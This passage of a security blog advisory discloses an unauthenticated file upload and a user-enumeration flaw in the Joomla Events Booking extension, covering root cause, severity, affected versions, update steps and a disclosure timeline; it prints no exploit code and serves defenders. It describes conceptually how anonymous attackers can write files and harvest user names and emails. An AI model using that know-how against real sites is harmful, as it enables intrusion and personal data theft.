&lt;p&gt;The problem is the distribution. When a customer on the changelog thread asked where to download it, having found that the download button only offered 5.8.0, the answer was:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We do not provide download package for Joomla 3 directly on Downloads section. If you need it, please submit a support ticket and we will send it to you&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is a second route, and it is the better one if it works for you: configure your &lt;strong&gt;Download ID&lt;/strong&gt; in the component and use Joomla&apos;s own updater from the site&apos;s administrator area, which will offer 4.9.5 in place. That is the path the vendor recommends. Worth knowing, though, that the customer who asked reported back on the same thread that the updater route gave them a &lt;strong&gt;403 error&lt;/strong&gt; when they clicked through, which they suspected was their Admin Tools firewall blocking the update URL.&lt;/p&gt;
&lt;p&gt;So on Joomla 3 the fix is real, but reaching it means either configuring a Download ID and hoping your firewall lets the updater through, or opening a support ticket and waiting for a human to email you a zip. Every extra step between a fix and the sites that need it costs you installs, and a support ticket is an expensive step: it needs an active subscription, a login, someone to write the ticket, and someone at the other end to answer it. Meanwhile the vulnerable version stays on the site. Attackers do not need to open a ticket to read the changelog and work out what changed.&lt;/p&gt;
&lt;p&gt;If you run Events Booking on Joomla 3, start that today. And treat it as one more argument for the migration you have been putting off, because a security fix you have to request by hand is not a maintenance model that scales.&lt;/p&gt;
&lt;h2&gt;The number that worries us is not the severity&lt;/h2&gt;
&lt;p&gt;Here is the part of this story we find genuinely alarming, and it has nothing to do with how clever either bug is.&lt;/p&gt;
&lt;p&gt;We can see Events Booking installed on &lt;strong&gt;just over 470 Joomla sites&lt;/strong&gt; across our customers&apos; accounts. When we checked which versions those sites were running, we did not find a long tail of stragglers behind a well-updated majority. We found this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Version line&lt;/th&gt;
&lt;th&gt;Share of installs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;5.7.x (the current line at the time)&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.x, but behind the current line&lt;/td&gt;
&lt;td&gt;25%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.x&lt;/td&gt;
&lt;td&gt;65%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.x&lt;/td&gt;
&lt;td&gt;7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2.x or older&lt;/td&gt;
&lt;td&gt;2%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Read that top row again. &lt;strong&gt;Not one site we can see was running the current release.&lt;/strong&gt; Roughly three quarters were an entire major version behind, and the single most common version across every install was a 4.9 release.&lt;/p&gt;
&lt;p&gt;This is the uncomfortable truth behind every responsible disclosure. We found the bugs, they got argued about, they got fixed, and a patch now exists that will reach approximately nobody, because the sites running this extension were already years behind before we started looking. The security industry publishes a fixed-in version and calls the job done. The rollout is the part that actually protects anyone, and on this evidence the rollout barely happens.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites and have not looked at your extension versions recently, that table is probably a description of your own portfolio. I have never met an administrator who decided that 4.9.4 was good enough. What I have met is a lot of people for whom updating an extension means logging into each site&apos;s admin one at a time, which is a job that grows with every client you win, so it waits until something breaks.&lt;/p&gt;
&lt;h2&gt;The root cause is a gate that was never there&lt;/h2&gt;
&lt;p&gt;Both findings come from the same architectural decision, and it is worth understanding because it predicts where the next bug in this codebase will be.&lt;/p&gt;
&lt;p&gt;Events Booking&apos;s front end runs on the vendor&apos;s own controller framework. When a request arrives, the dispatcher takes the &lt;code&gt;task&lt;/code&gt; parameter, maps it to a method on the controller, and calls it. That is a normal enough design. The problem is what the dispatcher does not do on the way: it performs &lt;strong&gt;no CSRF token check and no permission check at all&lt;/strong&gt;. Both are helpers that each individual method has to remember to call for itself.&lt;/p&gt;
&lt;p&gt;Opt-in security has a predictable failure mode. Every public method on every front-end controller is reachable by an anonymous visitor unless its author remembered to bolt a guard onto it, so the security of the component rests on nobody ever forgetting. Somebody always forgets.&lt;/p&gt;
&lt;p&gt;The developers here plainly know the risk, which is what makes it instructive. Several of the front-end controllers do call the token check and a permission check, correctly, right at the top of the sensitive methods. The two endpoints we reported are the ones where that did not happen. Read that as a framework problem rather than a competence one: the guard is a line you add, so its absence is invisible. Nothing looks wrong on the screen. The reviewer has to spot a line that was never written, which is a much harder thing to ask of anyone than spotting a mistake.&lt;/p&gt;
&lt;p&gt;That is the same shape as &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;the AJAX endpoint problem&lt;/a&gt; we have written about, and the same reason it keeps producing findings across unrelated Joomla extensions. A framework that gated every task by default, and made a developer opt a method &lt;em&gt;out&lt;/em&gt; to make it public, would have prevented both of these findings without anyone having to be careful.&lt;/p&gt;
&lt;h2&gt;How serious are they?&lt;/h2&gt;
&lt;p&gt;Two flaws, two different answers, and neither of them is a 10.0. We could have written this up as critical and plenty of the industry would have, but calling it a 10.0 would be dishonest and would make it harder for you to believe us next time something genuinely is one, as &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;several of this month&apos;s findings&lt;/a&gt; were.&lt;/p&gt;
&lt;h3&gt;The anonymous upload&lt;/h3&gt;
&lt;p&gt;The Joomla CNA assigned &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60025&quot;&gt;CVE-2026-60025&lt;/a&gt; and has not published scores for either at the time of writing. Our own assessment puts it in the &lt;strong&gt;Medium&lt;/strong&gt; band on a default configuration, with a &lt;strong&gt;High&lt;/strong&gt; ceiling on any site that widened its attachment allow-list to an executable type, where it becomes unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;The allow-list is what keeps the default case out of the high range: no PHP, so no code execution. What stops it being a footnote is everything in the section above, and a CVSS vector captures that badly. &quot;Integrity: low&quot; is a thin way to describe illegal content served from your domain, under your hosting contract, in your name.&lt;/p&gt;
&lt;p&gt;Severity here scales with how exposed your site is and how long it ran an affected version, rather than with how many users you have. A new site nobody has found yet is probably fine. A site that has been in Google for years with a public registration form has been reachable by every scanner on the internet for as long as this code has existed.&lt;/p&gt;
&lt;h3&gt;The user enumeration&lt;/h3&gt;
&lt;p&gt;We score this &lt;strong&gt;CVSS 4.0 6.9 (Medium)&lt;/strong&gt;. An anonymous attacker gets names and email addresses, not password hashes, and cannot write to the database or execute anything through it.&lt;/p&gt;
&lt;p&gt;Severity here scales directly with your user table. A club site with six logins has a small problem. A ticketing site with 40,000 registrants has a personal data breach involving 40,000 people, from a bug that took one afternoon to find.&lt;/p&gt;
&lt;h3&gt;What both share&lt;/h3&gt;
&lt;p&gt;Neither has any barrier in front of it. No account, no token, no user interaction, no clever timing, no waiting for an administrator to click something. Anyone with a browser and a for-loop, against any affected site on the internet, silently. Compare that with the &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download flaw&lt;/a&gt; from the same run, which scored higher but needed a registered account and a non-default setting enabled to work at all.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update to Events Booking 5.8.1, or 4.9.5 on Joomla 3. A web application firewall will not save you here, because unlike a SQL injection there is no malicious payload for it to recognise: the attack is an ordinary, perfectly-formed request that the site is supposed to answer. The only thing wrong with it is who sent it, and your firewall has no way to know that.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That last point is worth dwelling on, because it inverts the usual advice. With &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;the SQL injections we found in EDocman and DPCalendar&lt;/a&gt;, a SQL-filtering firewall could at least buy you time, because the attack contained recognisable SQL. Here there is nothing to filter. The request is valid. That leaves updating as the whole of your defence.&lt;/p&gt;
&lt;h2&gt;Which versions are affected, and which do you need?&lt;/h2&gt;
&lt;p&gt;We audited &lt;strong&gt;Events Booking 5.7.1&lt;/strong&gt;, the current release when we found this, and confirmed both issues in it. Being straight about the limits of that: we did not audit every older release, so we cannot tell you exactly when either endpoint first appeared. What we can tell you is that both are long-standing features rather than something new in 5.7.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Treat any Events Booking at or below 5.7.1 as affected&lt;/strong&gt;, and given the version spread above, that is very likely every install you own.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Your Joomla&lt;/th&gt;
&lt;th&gt;Version to be on&lt;/th&gt;
&lt;th&gt;How to get it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4, 5 or 6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5.8.1&lt;/strong&gt; or later&lt;/td&gt;
&lt;td&gt;Joomla&apos;s Extensions updater, or your JoomDonation account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4.9.5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not in the public downloads area. Configure a Download ID and use Joomla&apos;s updater, or open a support ticket&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;There is no 5.7.2: the release went straight from 5.7.1 to 5.8.0, then 5.8.1 followed within days. &lt;strong&gt;Do not stop at 5.8.0.&lt;/strong&gt; Every one of the upload hardening measures in the table above arrived in 5.8.1, and 5.8.0 itself shipped as two different builds under one version number.&lt;/p&gt;
&lt;p&gt;We have now reviewed both packages against what we reported. The enumeration fix in 5.8.0 is correct: the endpoint now requires the &lt;code&gt;eventbooking.registrantsmanagement&lt;/code&gt; permission and throws a 403 without it. The upload fixes are as described above.&lt;/p&gt;
&lt;h2&gt;How do you update Events Booking safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expect a real upgrade, not a patch, if you are on 4.x.&lt;/strong&gt; Two thirds of the installs we can see are a major version behind. Going from a 4.x build to 5.8.1 crosses a major version boundary, and on a component that handles registrations and payments you want that tested somewhere other than production. This is the tax on having skipped updates for years, and it is exactly why the sites that need this fix most will find it hardest to take.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull 5.8.1. If it does not appear, use Find Updates, or download the package from your JoomDonation account and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade every affected site from a single dashboard&lt;/a&gt;. You can also &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On Joomla 3, go and get 4.9.5.&lt;/strong&gt; It is not in the downloads area. Configure your Download ID and Joomla&apos;s own updater should offer it in place; if you get a 403, check whether your security extension is blocking the update URL, and fall back to a support ticket.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then Events Booking, and check the version shown is &lt;strong&gt;5.8.1 or later&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your upload folder.&lt;/strong&gt; Look in &lt;code&gt;media/com_eventbooking/files&lt;/code&gt; for anything that does not belong to a real registration. If your site has been running an affected version on a public registration form, this is where anonymous uploads went. 5.8.1 ships an orphan file cleanup tool for exactly this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any harvesting or uploading that already happened, so if you run a large registrant list, see the data protection point above.&lt;/p&gt;
&lt;h2&gt;How do I find every Events Booking site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is precisely why those version numbers get so old: the work of checking scales with the number of sites, so it stops happening.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Events Booking once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query we ran to produce the version table above, and you can run it against your own sites in about ten seconds.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Events Booking install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Events Booking across every connected Joomla site and filter for anything below 5.8.1. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. When a fix ships we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of Events Booking is flagged automatically. You should not have to read about a Joomla security issue in the news and then audit a portfolio of client sites by hand to find out whether it is your problem.&lt;/p&gt;
&lt;h2&gt;Booking and registration extensions deserve a closer look&lt;/h2&gt;
&lt;p&gt;Every extension that accepts input from anonymous visitors is attack surface, but registration and booking components carry a heavier consequence than most, and it is worth being explicit about why.&lt;/p&gt;
&lt;p&gt;A page builder flaw leaks your site. A booking component flaw leaks your customers. The whole purpose of the extension is to collect personal details from the public and store them, which means the data at risk was never yours in the first place, it was entrusted to you. The same logic applies to the newsletter tools, form builders and document managers where we keep finding this pattern: &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;. They are all built to talk to strangers, so a missing check in one of them talks to strangers too.&lt;/p&gt;
&lt;p&gt;None of which is an argument for avoiding these extensions. Events Booking is a capable, long-established component, both issues are now closed, and much of the code we reviewed was in better shape than most of what we audit. The payment verification in particular is done properly, which we cannot say about every Joomla extension that takes money. We were harder on the handling above than on the code, and that distinction is deliberate: the bugs themselves are ordinary, the sort any busy codebase grows. What is not ordinary is spending several days telling a reporter that an anonymous write path into your customers&apos; web servers is not a security issue.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one, because Joomla runs on thousands of third-party extensions and the ones that accept anonymous input keep producing bugs like this. The hard part was never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before someone else does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this is disclosed you see exactly which sites are exposed in seconds, without opening a single admin panel.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla 4, 5 and 6 site running Events Booking to &lt;strong&gt;5.8.1&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;On &lt;strong&gt;Joomla 3&lt;/strong&gt;, get &lt;strong&gt;4.9.5&lt;/strong&gt;: set a Download ID and use Joomla&apos;s updater, or open a JoomDonation support ticket. It is not in the public downloads area&lt;/li&gt;
&lt;li&gt;Do not stop at 5.8.0. The upload hardening is in 5.8.1, and 5.8.0 shipped as two different builds under the same version number&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;media/com_eventbooking/files&lt;/code&gt; for files with no matching registration, and clear them out&lt;/li&gt;
&lt;li&gt;If you are on a 4.x build, plan and test the major version upgrade rather than clicking update on production and hoping&lt;/li&gt;
&lt;li&gt;Do not rely on a firewall for this one. There is no payload to filter, so there is nothing for it to block&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;If you run a large registrant list and were on an affected version for a long time, treat the names and email addresses as potentially harvested and talk to whoever owns data protection where you work&lt;/li&gt;
&lt;li&gt;If you suspect something worse, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;6.9&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Medium&lt;/span&gt;
        &lt;span&gt;Our own assessment of the user enumeration; three CVEs assigned by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Both flaws are unauthenticated and exploitable over the internet in a single request with no user interaction. The enumeration is limited to reading names and email addresses, and the upload is constrained by the attachment allow-list on a default configuration, which is what keeps both out of the high range.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;On by default&lt;/span&gt;
        &lt;span&gt;Anonymous file write&lt;/span&gt;
        &lt;span&gt;No firewall mitigation&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVEs&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58149&quot;&gt;CVE-2026-58149&lt;/a&gt; (user enumeration), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; (default unauthenticated upload), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60025&quot;&gt;CVE-2026-60025&lt;/a&gt; (missing CSRF token on upload), all assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Events Booking for Joomla (&lt;code&gt;com_eventbooking&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated file upload (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;), missing CSRF protection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352&lt;/a&gt;), and authorisation bypass through a user-controlled key (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;6.9 (Medium) for the enumeration, &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment). No public score yet for the upload CVEs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous file writes to the web server, and anonymous read of the name and email address of every user on the site&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;5.7.1 and earlier, and the Joomla 3 line below 4.9.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;5.8.0 (both flaws), 5.8.1 (substantial upload hardening), 4.9.5 (Joomla 3, by support ticket)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We follow a fix-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;13 July 2026&lt;/td&gt;
&lt;td&gt;While disclosing the unrelated &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman SQL injection&lt;/a&gt; to the same vendor, mySites.guru gives JoomDonation a heads-up that Events Booking appears to have two security issues of its own, pending a closer look. JoomDonation re-reviews the Events Booking source in response.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 July 2026&lt;/td&gt;
&lt;td&gt;A fix for the enumeration flaw is pushed into the Events Booking download package with no changelog entry and no announcement. Customers query the undocumented change, and a fellow Joomla developer emails us having spotted a new build appear that day.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026, morning&lt;/td&gt;
&lt;td&gt;mySites.guru audits the Events Booking 5.7.1 source, confirms both issues, and discloses them in full privately to JoomDonation, copying the Joomla Security Strike Team. All public detail is withheld. JoomDonation confirms the enumeration flaw and disputes the upload as invalid. The JSST backs the CSRF finding in writing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026, 10:02&lt;/td&gt;
&lt;td&gt;JoomDonation publishes &lt;strong&gt;Events Booking 5.8.0&lt;/strong&gt;. The announcement credits mySites.guru, states the first issue &quot;was fixed before he reported&quot;, and calls the second &quot;not really a security issue&quot;. JoomDonation asks mySites.guru to delay publication by two days. &lt;strong&gt;mySites.guru agrees and publishes nothing.&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026, 11:02&lt;/td&gt;
&lt;td&gt;Three minutes after mySites.guru challenges the two statements, the announcement is edited and both are removed, with no correction note.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026, 16:10&lt;/td&gt;
&lt;td&gt;The 5.8.0 package is rebuilt with further upload checks and re-published under the same version number. The changelog thread advises anyone who updated before this time to download and install again. A customer replies on the same thread that the release &quot;does not appear to fix the issues&quot;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 July 2026&lt;/td&gt;
&lt;td&gt;JoomDonation confirms to the JSST that the upload was enabled by default before 5.8.0, and that &quot;several additional protections have been implemented for file upload&quot;. The Joomla CNA assigns &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58149&quot;&gt;CVE-2026-58149&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60025&quot;&gt;CVE-2026-60025&lt;/a&gt;, all crediting Phil Taylor of mySites.guru.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 to 20 July 2026&lt;/td&gt;
&lt;td&gt;Work continues on the upload endpoint. File timestamps in the shipped 5.8.1 package span 17, 18, 19 and 20 July, covering the rate limiting, per-field permission checks, image validation, randomised filenames and the orphan file cleanup tool.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;JoomDonation emails Events Booking customers about 5.8.1, telling them in bold that the upload issue &quot;should be considered a security improvement rather than a vulnerability&quot; and that attackers &quot;could not upload executable files or gain control of your website&quot;. The email carries no CVE numbers. JoomDonation asks mySites.guru for a further delay before publishing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;mySites.guru obtains the 5.8.0 and 5.8.1 packages and diffs them, confirming the fixes, the scope of the additional hardening and the unauthenticated read-back path. The changelog announcement is rewritten again during the day to document the 5.8.1 changes, the cleanup tool and the Joomla 3 position. mySites.guru adds the affected ranges to its Joomla vulnerability database so every connected site below the fix is flagged, and publishes this write-up. No proof-of-concept is released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;mySites.guru privately reports a &lt;strong&gt;separate security vulnerability to JoomDonation, an IDOR in 5.8.1&lt;/strong&gt;. Details are withheld pending a fix. The report enters a 90 day disclosure period running to &lt;strong&gt;18 October 2026&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;These Events Booking flaws were part of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern that produced both of these findings.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;Our EDocman SQL injection disclosure&lt;/a&gt; - the same vendor, a different bug class, and a changelog that badly understated it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;When a vendor abandons Joomla 3&lt;/a&gt; - for contrast, what happens when the Joomla 3 fix is never written at all.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; - the canonical references for these weakness classes.&lt;/li&gt;
